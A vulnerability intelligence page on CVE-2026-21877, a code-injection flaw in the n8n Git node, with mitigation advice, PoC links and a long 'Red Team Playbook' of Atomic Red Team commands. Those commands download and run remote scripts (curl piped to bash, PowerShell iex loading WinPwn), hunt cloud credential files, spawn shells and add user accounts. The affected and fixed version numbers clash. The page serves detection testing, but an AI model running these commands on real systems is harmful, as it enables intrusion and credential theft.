CVE-2026-21877
Overview
This vulnerability is a code injection flaw stemming from improper sanitization of user-controlled input within the n8n workflow automation platform. The root cause lies in insecure handling of data in the Git node feature, which allows execution of arbitrary code when processing crafted inputs. The affected component is the n8n service, specifically versions 0.121.2 and earlier, where the Git node does not adequately restrict command execution contexts.
Vulnerability Description
n8n is an open source workflow automation platform. In versions 0.121.2 and below, an authenticated attacker may be able to execute malicious code using the n8n service. This could result in full compromise and can impact both self-hosted and n8n Cloud instances. This issue is fixed in version 1.121.3. Administrators can reduce exposure by disabling the Git node and limiting access for untrusted users, but upgrading to the latest version is recommended.
Impact
An attacker with authenticated access can execute arbitrary code remotely on the n8n server, resulting in full system compromise, including confidentiality, integrity, and availability breaches. The attack requires valid user credentials with at least limited privileges (PR:L) but no user interaction (UI:N) and can be performed over the network (AV:N) with low attack complexity (AC:L). This enables lateral movement and persistent control over workflow automation processes, impacting both self-hosted and cloud deployments.
Solution
Upgrade n8n to version 1.121.3 or later, as this release contains the patch that mitigates the code injection vulnerability. Administrators should consult the official GitHub advisory GHSA-v364-rw7m-3263 and the related commit f4b009d00d1f4ba9359b8e8f1c071e3d910a55f6 for detailed patch implementation. As a temporary mitigation, disable the Git node feature and restrict access to trusted users only until the upgrade can be applied.
EPSS vs KEV Prediction — Evolution (30 days)
Full Analysis
The vulnerability in the n8n workflow automation platform stems from improper handling of user input, allowing an authenticated attacker to execute arbitrary code within the context of the n8n service. This flaw is particularly critical as it affects both self-hosted instances and those hosted on n8n Cloud, making it a widespread concern for organizations utilizing this automation tool. The underlying issue arises from the platform's insufficient validation of inputs when interacting with certain nodes, notably the Git node. This oversight can lead to a scenario where malicious payloads are executed, potentially granting attackers full control over the affected system.
Exploitation of this vulnerability can occur through various attack vectors. An authenticated user with access to the n8n environment could craft a malicious workflow that leverages the vulnerable nodes, particularly targeting the Git functionality. By injecting harmful scripts or commands, attackers can manipulate the execution flow of the automation processes, leading to unauthorized access to sensitive data, system configurations, or even the underlying infrastructure. Scenarios may include the exfiltration of confidential information, deployment of ransomware, or the establishment of persistent backdoors for ongoing access.
The real-world impact of this vulnerability is significant, particularly for organizations that rely on n8n for critical business processes. A successful exploitation could lead to a full compromise of the affected systems, resulting in data breaches, operational disruptions, and reputational damage. The high CVSS score of 9.9 indicates the severity and potential for widespread exploitation, emphasizing the urgency for organizations to address this risk. The implications extend beyond immediate financial losses, as regulatory penalties may arise from non-compliance with data protection laws, further exacerbating the business risk.
To detect and mitigate this vulnerability, organizations should prioritize upgrading to the latest version of n8n, where the issue has been addressed. Regularly updating software is a fundamental practice in cybersecurity, as it ensures that known vulnerabilities are patched. Additionally, administrators can implement several strategies to reduce exposure. Disabling the Git node, as recommended, can significantly limit the attack surface. Furthermore, access controls should be enforced to restrict permissions for untrusted users, minimizing the likelihood of exploitation by malicious insiders or compromised accounts. Monitoring and logging activities within the n8n environment can also aid in early detection of suspicious behavior, enabling timely responses to potential threats.
In conclusion, the vulnerability within the n8n workflow automation platform poses a serious risk to organizations leveraging its capabilities. With the potential for full system compromise and significant business impact, it is imperative for administrators to take proactive measures. This includes upgrading to the latest version, implementing strict access controls, and maintaining vigilant monitoring practices. By addressing this vulnerability promptly, organizations can safeguard their operations and protect sensitive data from malicious actors.
CSURFACE threat intelligence has identified a marked escalation in activity related to CVE-2026-21877, highlighted by the emergence of new proof-of-concept exploit code publicly available on GitHub. This development signals a transition from theoretical vulnerability to practical weaponization, increasing the likelihood of opportunistic and targeted attacks against both self-hosted and cloud instances of the n8n workflow automation platform. Our telemetry indicates that while the overall exploit probability score (EPSS) has slightly decreased, the expansion of exploit tools and the appearance of active exploitation attempts represent a heightened operational risk. Defenders should interpret this shift as an indication that threat actors are actively refining and sharing exploitation capabilities, potentially accelerating attack campaigns. Consequently, the threat level associated with this vulnerability has intensified, underscoring the urgency for vigilant detection and response efforts within affected environments.
Affected Products (1)
| Vendor | Product | Version | CPE | |
|---|---|---|---|---|
|
|
N8n | N8n | All |
cpe:2.3:a:n8n:n8n:*:*:*:*:*:node.js:*:*
|
Disclaimer
The exploits, modules, and proof-of-concept (PoC) code listed in this section are automatically collected from public repositories, including GitHub, ExploitDB, and Metasploit Framework.
CSURFACE is not the author, maintainer, or responsible party for any of this code. The content may contain malicious code, backdoors, or undocumented behavior.
By accessing any external link or executing any referenced code, you assume full responsibility for the risks involved. We strongly recommend:
- Only execute in isolated environments (sandbox/VM)
- Review source code before any execution
- Do not use against systems without explicit authorization
- Comply with all applicable local laws and regulations
GitHub PoCs (2)
| Repository | Author | Stars | Forks | Date | Link |
|---|---|---|---|---|---|
|
monkeontheroof/cve-2026-21877-rce
|
monkeontheroof | 0 | 0 | 2026-04-26 | View |
|
CVEs-Labs/CVE-2026-21877
|
CVEs-Labs | 0 | 0 | 2026-04-22 | View |
Threat Feed
2 eventsSighting activity recorded
Proof-of-concept code is publicly available for this vulnerability
Likely Kill Chain
Typical exploitation path inferred from this vulnerability's characteristics — mapped to MITRE ATT&CK tactics.
Kill chain derived from the ML classifier.
Attack Vectors ML
MITRE ATT&CK Techniques (6)
The adversary's likely kill chain after exploiting this CVE — in execution order. Validate each stage with the Red Team Playbook below.
The techniques for this CVE don't apply to this operating system. Switch OS above.
CAPEC Attack Patterns ML
Red Team Playbook
44 AtomicRedTeam test(s) mapped to this CVE's kill chain. Use them to validate detections and controls.
AtomicRedTeam has no published tests for this CVE's techniques on this OS. Switch OS above to see other options.
Set-PowerCLIConfiguration -InvalidCertificateAction Ignore -ParticipateInCEIP:$false -Confirm:$false
Connect-VIServer -Server #{vm_host} -User #{vm_user} -Password #{vm_pass}
Get-VMHostService -VMHost #{vm_host} | Where-Object {$_.Key -eq "TSM-SSH" } | Start-VMHostService -Confirm:$false
echo "" | "#{plink_file}" -batch "#{vm_host}" -ssh -l #{vm_user} -pw "#{vm_pass}" "vim-cmd hostsvc/enable_ssh"
$syntaxList = #{syntax}
foreach ($syntax in $syntaxList) {
#{SharpView} $syntax -}
netstat -ano
net use
net sessions 2>nul
netstat
who -a
Get-NetTCPConnection | ForEach-Object {
$p = Get-Process -Id $_.OwningProcess -ErrorAction SilentlyContinue
[pscustomobject]@{
Local = "$($_.LocalAddress):$($_.LocalPort)"
Remote = "$($_.RemoteAddress):$($_.RemotePort)"
State = $_.State
PID = $_.OwningProcess
Process = if ($p) { $p.ProcessName } else { $null }
}
} | Sort-Object State,Process | Format-Table -AutoSize
sockstat -4
sockstat -6 2>/dev/null || true
sockstat -l 2>/dev/null || true
if command -v ss >/dev/null 2>&1; then ss -antp 2>/dev/null || ss -ant; ss -aunp 2>/dev/null || true; else lsof -i -nP 2>/dev/null || true; fi
Get-NetTCPConnection
[ "$(uname)" = 'FreeBSD' ] && pw useradd art -g wheel -s /bin/csh || useradd -s /bin/bash art
cat /etc/passwd |grep ^art
chsh -s /bin/sh art
cat /etc/passwd |grep ^art
for i in $(seq 1 5); do echo "$i, Atomic Red Team was here!"; sleep 1; done
curl -sS https://raw.githubusercontent.com/redcanaryco/atomic-red-team/master/atomics/T1059.004/src/echo-art-fish.sh | bash
wget --quiet -O - https://raw.githubusercontent.com/redcanaryco/atomic-red-team/master/atomics/T1059.004/src/echo-art-fish.sh | bash
sh -c "echo 'echo Hello from the Atomic Red Team' > #{script_path}"
sh -c "echo 'ping -c 4 #{host}' >> #{script_path}"
chmod +x #{script_path}
sh #{script_path}
echo '! exec "/bin/sh &"' | PERL_MM_USE_DEFAULT=1 cpan
uname -srm
cd /tmp
curl -s #{remote_url} |bash
ls -la /tmp/art.txt
export ART='echo "Atomic Red Team was here... T1059.004"'
echo $ART |/bin/sh
chmod +x #{autosuid}
bash #{autosuid}
chmod +x #{linenum}
bash #{linenum}
TMPFILE=$(mktemp)
echo "id" > $TMPFILE
bash $TMPFILE
[ "$(uname)" = 'FreeBSD' ] && encodecmd="b64encode -r -" && decodecmd="b64decode -r" || encodecmd="base64 -w 0" && decodecmd="base64 -d"
ART=$(echo -n "id" | $encodecmd)
echo "\$ART=$ART"
echo -n "$ART" | $decodecmd |/bin/bash
unset ART
awk 'BEGIN {system("/bin/sh &")}'
busybox sh &
echo $0
if $(env |grep "SHELL" >/dev/null); then env |grep "SHELL"; fi
if $(printenv SHELL >/dev/null); then printenv SHELL; fi
cat /etc/shells
sudo emacs -Q -nw --eval '(term "/bin/sh &")'
xcopy /I /Y "#{web_shells}" #{web_shell_path}
type C:\Windows\Panther\unattend.xml
type C:\Windows\Panther\Unattend\unattend.xml
python2 laZagne.py all
grep -ri password #{file_path}
exit 0
findstr /si pass *.xml *.doc *.txt *.xls
ls -R | select-string -ErrorAction SilentlyContinue -Pattern password
find #{file_path}/.aws -name "credentials" -type f 2>/dev/null
find #{file_path}/.azure -name "msal_token_cache.json" -o -name "accessTokens.json" -type f 2>/dev/null
find #{file_path}/.config/gcloud -name "credentials.db" -o -name "access_tokens.db" -type f 2>/dev/null
find #{file_path}/.oci/sessions -name "token" -type f 2>/dev/null
for file in $(find #{file_path} -type f -name .netrc 2> /dev/null);do echo $file ; cat $file ; done
dir /a:h C:\Users\%USERNAME%\AppData\Local\Microsoft\Credentials\
dir /a:h C:\Users\%USERNAME%\AppData\Roaming\Microsoft\Credentials\
$usernameinfo = (Get-ChildItem Env:USERNAME).Value
Get-ChildItem -Hidden C:\Users\$usernameinfo\AppData\Roaming\Microsoft\Credentials\
Get-ChildItem -Hidden C:\Users\$usernameinfo\AppData\Local\Microsoft\Credentials\
iex(new-object net.webclient).downloadstring('https://raw.githubusercontent.com/S3cur3Th1sSh1t/WinPwn/121dcee26a7aca368821563cbe92b2b5638c5773/WinPwn.ps1')
SharpCloud -consoleoutput -noninteractive
iex(new-object net.webclient).downloadstring('https://raw.githubusercontent.com/S3cur3Th1sSh1t/WinPwn/121dcee26a7aca368821563cbe92b2b5638c5773/WinPwn.ps1')
sessionGopher -noninteractive -consoleoutput
iex(new-object net.webclient).downloadstring('https://raw.githubusercontent.com/S3cur3Th1sSh1t/WinPwn/121dcee26a7aca368821563cbe92b2b5638c5773/WinPwn.ps1')
Snaffler -noninteractive -consoleoutput
iex(new-object net.webclient).downloadstring('https://raw.githubusercontent.com/S3cur3Th1sSh1t/WinPwn/121dcee26a7aca368821563cbe92b2b5638c5773/WinPwn.ps1')
passhunt -local $true -noninteractive
iex(new-object net.webclient).downloadstring('https://raw.githubusercontent.com/S3cur3Th1sSh1t/WinPwn/121dcee26a7aca368821563cbe92b2b5638c5773/WinPwn.ps1')
powershellsensitive -consoleoutput -noninteractive
iex(new-object net.webclient).downloadstring('https://raw.githubusercontent.com/S3cur3Th1sSh1t/WinPwn/121dcee26a7aca368821563cbe92b2b5638c5773/WinPwn.ps1')
sensitivefiles -noninteractive -consoleoutput
Detection & Response Rules
No detection or response rules found for this CVE.
No news articles found for this CVE.
References (3)
| Title | Tags | URL |
|---|---|---|
| nvd.nist.gov |
NVD
reference
|
https://nvd.nist.gov/vuln/detail/CVE-2026-21877 |
| github.com |
GitHub CVE
x_refsource_CONFIRM
|
https://github.com/n8n-io/n8n/security/advisories/GHSA-v364-rw7m-3263 |
| github.com |
GitHub CVE
x_refsource_MISC
|
https://github.com/n8n-io/n8n/commit/f4b009d00d1f4ba9359b8e8f1c071e3d910a55f6 |